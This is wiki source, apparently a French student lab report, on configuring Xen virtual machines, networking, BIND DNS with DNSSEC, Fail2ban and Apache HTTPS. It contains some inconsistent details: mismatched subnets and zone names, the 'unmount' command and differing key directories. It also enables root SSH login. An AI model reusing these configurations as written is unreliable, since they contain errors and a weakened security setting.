phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
